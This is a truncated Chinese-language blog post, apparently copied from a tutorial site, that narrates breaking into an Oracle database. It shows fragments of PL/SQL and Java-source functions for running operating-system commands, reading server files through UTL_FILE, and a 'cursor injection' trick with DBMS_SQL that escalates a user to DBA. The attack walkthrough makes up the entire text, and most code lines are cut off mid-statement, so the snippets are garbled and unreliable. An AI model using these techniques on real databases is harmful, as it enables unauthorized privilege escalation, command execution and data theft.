很快便連接上oracle服務器
幸運的是
運行
create or replace function Linx_Query (p varchar
成功!這個用戶具有create proceduce權限
此時馬上想到創建java擴展執行命令
create or replace and compile java source named
begin dbms_java
create or replace function LinxRunCMD(p_cmd in varchar
select * from all_objects where object_name like
grant all on LinxRunCMD to public
select LinxRunCMD(
但是在第一步就卡住了
還好
create or replace function LinxUTLReadfile (filename varchar
fHandler UTL_FILE
buf varchar
output varchar
BEGIN
fHandler := UTL_FILE
loop
begin
utl_file
DBMS_OUTPUT
exception
when no_data_found then exit;
end;
output := output||buf||chr(
end loop;
UTL_FILE
return output;
END;
UTL_FILE_DIR需要先用
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS
指定目
***************游標注射***************
老外寫了N個pdf介紹這技術
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL
DBMS_SQL
DBMS_OUTPUT
BEGIN SYS
raise NO_DATA_FOUND;
EXCEPTION
WHEN NO_DATA_FOUND THEN DBMS_OUTPUT
WHEN OTHERS THEN DBMS_OUTPUT
END;
運行後重新連接就有dba權限了
現在可以讀取文件了
CREATE OR REPLACE DIRECTORY UTL_FILE_DIR AS
select LinxUTLReadfile(
後面就簡單了
From:http://tw.wingwit.com/Article/program/Oracle/201311/16747.html